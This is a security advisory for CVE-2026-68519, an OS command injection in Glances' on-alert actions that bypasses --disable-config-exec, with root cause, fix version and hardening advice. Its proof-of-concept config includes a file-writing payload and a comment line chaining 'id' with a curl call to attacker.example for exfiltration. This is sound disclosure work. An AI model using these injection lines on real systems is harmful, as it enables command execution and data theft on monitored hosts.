highCVE-2026-68519Aug 17, 2026

CVE-2026-68519: Glances --disable-config-exec Bypass via On-Alert Action OS Command Injection

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Running Glances with --disable-config-exec does not protect against shell operators in alert action commands, so a malicious config file can still write files or chain commands when a monitoring…

Packageglances
Ecosystempip
Affected<= 4.5.5
Fixed in4.5.6
CVE-2026-68519: Glances --disable-config-exec Bypass via On-Alert Action OS Command Injection

The problem

Glances 4.5.5 extended --disable-config-exec to block shell operators (>, &&, |) inside AMP module commands by passing allow_operators=False to secure_popen(). The same guard was never applied to the on-alert action path in glances/actions.py.

When a configured threshold is breached, actions.py calls secure_popen(cmd_full) with no allow_operators argument, so the default (True) is used. An attacker who can write to glances.conf can therefore redirect output to arbitrary files, chain commands, or pipe to a second process, even with --disable-config-exec active.

Proof of concept

A working proof-of-concept for CVE-2026-68519 in glances, with the exact payload below.

bash
[cpu]
user_critical=1
user_critical_action=echo MARKER > /tmp/poc_marker

# Run: glances --disable-config-exec
# Generate CPU load (e.g.: stress --cpu 4)
# When user% hits CRITICAL, /tmp/poc_marker is created.
# The > operator is interpreted despite --disable-config-exec.
# For command chaining: user_critical_action=id && curl http://attacker.example/exfil

The root cause is a missing allow_operators=False argument at actions.py line 111. The prior fix for CVE-2026-53925 (GHSA-3vwc-qwhc-3mj7) wired allow_operators=self.allow_operators() into the AMP call sites in amps/default/__init__.py and amps/systemv/__init__.py, but the GlancesActions.run() call in actions.py was left untouched.

The patch in 4.5.6 (commit 5c07c0d9) passes allow_operators=not args.disable_config_exec from GlancesActions.run() into secure_popen(), so the >, |, and && parsing branches are skipped when the flag is set. CWE-78: Improper Neutralization of Special Elements used in an OS Command.

The fix

Upgrade to Glances 4.5.6 (commit 5c07c0d96423e9d5b9de71dd92e3717c66f504bd). As defence in depth, restrict write access to glances.conf to the Glances service account only, and run Glances under a dedicated low-privilege user rather than root.

Reported by Reported via responsible-disclosure incomplete-fix measurement study.

References: [1][2][3][4]

Related research